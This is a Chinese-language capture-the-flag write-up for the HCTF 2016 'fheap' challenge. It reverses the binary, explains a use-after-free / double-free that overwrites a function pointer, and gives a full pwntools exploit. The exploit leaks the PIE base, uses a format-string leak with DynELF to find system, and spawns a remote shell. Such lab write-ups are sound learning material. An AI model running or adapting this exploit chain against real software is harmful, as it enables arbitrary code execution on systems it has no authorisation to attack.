前言
一道UAF题, HCTF 2016 - fheap
ctfhub搜fheap
过程
__int64 __fastcall main(int a1, char **a2, char **a3)
{
char buf[1032]; // [rsp+0h] [rbp-410h] BYREF
unsigned __int64 v5; // [rsp+408h] [rbp-8h]
v5 = __readfsqword(0x28u);
setbuf(stdout, 0LL);
setbuf(stdin, 0LL);
setbuf(stderr, 0LL);
puts("+++++++++++++++++++++++++++");
puts("So, let's crash the world");
puts("+++++++++++++++++++++++++++");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
sub_114B();
if ( !read(0, buf, 0x400uLL) )
return 1LL;
if ( strncmp(buf, "create ", 7uLL) )
break;
sub_EC8();
}
if ( strncmp(buf, "delete ", 7uLL) )
break;
sub_D95();
}
if ( !strncmp(buf, "quit ", 5uLL) )
break;
puts("Invalid cmd");
}
puts("Bye~");
return 0LL;
}
分析create函数
if ( read(0, buf, nbytes) == -1 )
{
puts("got elf!!");
exit(1);
}
nbytesa = strlen(buf);
if ( nbytesa > 0xF )
{
dest = malloc(nbytesa);
if ( !dest )
{
puts("malloc faild!");
exit(1);
}
strncpy(dest, buf, nbytesa);
*ptr = dest;
*(ptr + 3) = sub_D6C;
}
else
{
strncpy(ptr, buf, nbytesa);
*(ptr + 3) = sub_D52;
}
*(ptr + 4) = nbytesa;
这一段描述程序接收str后的保存, 如果小于等于15字节用ptr所指地址保存, 否则申请更大的buf保存, 同时*(ptr + 3)
与*(ptr + 4)
分别保存free函数(sub_D6C
或者sub_D52
) 和 字符串长度nbytesa
总结为
typedef struct Str{
union{
char *dest;
char s[16];
}str; // 24字节 (根据反编译结果判断 ptr, ptr+1, ptr+2用来保存string
void (*free)(struct Str *ptr); // 8字节
int len; // 4字节 实际占ptr + 4地址处8字节
}Str; // 40字节
往下分析
for ( i = 0; i <= 15; ++i )
{
if ( !*(&unk_2020C0 + 4 * i) )
{
*(&unk_2020C0 + 4 * i) = 1;
*(&unk_2020C0 + 2 * i + 1) = ptr;
printf("The string id is %d\n", i);
break;
}
}
if ( i == 16 )
{
puts("The string list is full");
(*(ptr + 3))(ptr);
}
大概可以猜出这是strings的数组, 最多有16个string, 并且带有标志位, 1时为有效string, ptr为string的指针, 看反编译结果比较迷惑, 步长两个不一样, 应该是IDA分析结果有问题, 直接看汇编
lea rax, unk_2020C0
mov edx, [rbp+var_102C] # mov edx, i
movsxd rdx, edx
shl rdx, 4 # rdx = rdx*16
add rax, rdx
mov dword ptr [rax], 1
lea rax, unk_2020C0
mov edx, [rbp+var_102C]
movsxd rdx, edx
shl rdx, 4
add rdx, rax
mov rax, [rbp+ptr]
mov [rdx+8], rax
mov eax, [rbp+var_102C]
mov esi, eax
lea rdi, aTheStringIdIsD ; "The string id is %d\n"
mov eax, 0
call _printf
jmp short loc_1109
所以步长应该是2, shl 4, 相当于*16, 两个字长, 所以标志位用一个字长保存, 指针用一个字长保存, 弄清之后恢复出来数据结构就是
struct{
int tag;
Str* ptr;
}Strs[16];
接着分析delete函数
printf("Pls give me the string id you want to delete\nid:");
v1 = sub_B65();
if ( v1 < 0 || v1 > 16 )
puts("Invalid id");
if ( *(&unk_2020C0 + 2 * v1 + 1) )
{
printf("Are you sure?:");
read(0, buf, 0x100uLL);
if ( !strncmp(buf, "yes", 3uLL) )
{
(*(*(&unk_2020C0 + 2 * v1 + 1) + 24LL))(*(&unk_2020C0 + 2 * v1 + 1));
*(&unk_2020C0 + 4 * v1) = 0;
}
}
这里有个比较隐蔽的double free, 结合前面的create流程可以构造一个UAF漏洞, 因为没有将指针置为null, 所以free chunk后可以再使用, 不过是覆盖函数指针ptr之后再delete, 这样可以实现特定函数调用
利用思路: 申请两个<16字节的chunk设为chunk1, chunk2, 依次释放chunk2, chunk1, 申请一个32字节的chunk, 传入的字符串会覆盖到原来chunk2的ptr指针处, 再次释放chunk2就可以调用ptr所指的函数
利用过程
(1)用puts函数泄露libc基址
(2)接着用printf函数构造格式化漏洞泄露system地址
(3)最后传入system地址, 字符串保存"/bin/sh\x00"
, 调用delete功能, 即可get shell
objdump -d pwn > pwn.txt
dump出pwn的二进制数据
将free函数覆盖成puts, 打印出指令call 980
的地址, 根据偏移980计算出程序加载基址(绕过 PIE), 计算出printf_plt地址后, 第二步调用printf_plt泄露system地址, 第三步调用system("/bin/sh\x00")
接下来是用DynELF泄露system地址, delete函数中的buf在栈上, 给buf按8字节对齐传入想要泄露的addr, 找到偏移量为9
得到system地址就完事
from pwn import *
url, port = "challenge-c8646496b7d6285e.sandbox.ctfhub.com", 23200
filename = "./pwn"
elf = ELF(filename)
# libc = ELF("")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
printf_plt = 0
def add_str(size, content):
io.sendafter("quit\n", "create ")
io.sendlineafter("size:", str(size))
content = content.ljust(size, b'\x00')
io.sendafter("str:", content)
def delete_str(idx):
io.sendafter("quit\n", "delete ")
io.sendlineafter("id:", str(idx))
io.sendafter("sure?:", "yes")
def leak(addr):
delete_str(0)
payload = b"zz%9$s" + b"#" * (0x18 - len("zz%9$s")) + p64(printf_plt)
add_str(0x20, payload)
io.sendafter("quit\n", "delete ")
io.sendlineafter("id:", "1")
io.sendafter("sure?:", b"yeszzzzz" + p64(addr))
io.recvuntil(b"zz")
data = io.recvuntil("####")[:-4]
data += b"\x00"
return data
def pwn():
global printf_plt
add_str(8, b"1111")
add_str(8, b"2222")
add_str(8, b"3333")
delete_str(2)
delete_str(1)
delete_str(0)
payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
add_str(0x20, payload)
delete_str(1)
io.recvuntil(b"z" * 0x8)
data = io.recvline()[:-1]
if len(data) > 8: data = data[:8]
data = u64(data.ljust(8, b'\x00'))
process_base = data - 0xd2d
print("process base address: ", process_base)
printf_plt = process_base + 0x9d0
delete_str(0)
payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
add_str(0x20, payload)
delete_str(1)
dyn = DynELF(leak, process_base, elf = elf)
system_addr = dyn.lookup("system", "libc")
delete_str(0)
payload = b"/bin/sh;".ljust(0x18, b"#") + p64(system_addr)
add_str(0x20, payload)
delete_str(1)
io.interactive()
if __name__ == "__main__":
pwn()
总结
难点
分析出double free漏洞
绕过PIE保护
定位格式化漏洞的偏移
泄露libc基址
本地不能调试
卡点
弄清相对偏移以确认程序基址卡住很长时间
ljust()
的坑点
在python3下, 需要统一变量类型, 填充的对象和填充的字符需要统一类型, bytes对bytes, str对str
还有给system传入的字符串应该是"/bin/sh;"
不是"/bin/sh\x00"
, 因为system执行的字符串不仅仅是/bin/sh, 还有跟在后面的其他字符, 所以需要;
隔开表示这是一个完整命令
还有个坑点, 就是sendline和send的问题, 全部用sendline和全部都用send无法打通, 有的地方比较离谱, sendline能过, send就不行, 只能一个个试错了, 没有找到必过的规律, 太菜了T T
最后且重要的一点, 需要通过double free调用puts函数两次, 不然fastbins结构不对, 打不通
就是这里
payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
add_str(0x20, payload)
delete_str(1)
io.recvuntil(b"z" * 0x8)
data = io.recvline()[:-1]
if len(data) > 8: data = data[:8]
data = u64(data.ljust(8, b'\x00'))
process_base = data - 0xd2d
print("process base address: ", process_base)
printf_plt = process_base + 0x9d0
delete_str(0)
payload = b"y" * 0x10 + b"z" * 0x8 + b"\x2d" + b"\x00"
add_str(0x20, payload)
delete_str(1)
(参考资料不够详细, 对萌新实在是灾难
花了7h才打通这题, 开荒阶段还是比较辛苦啊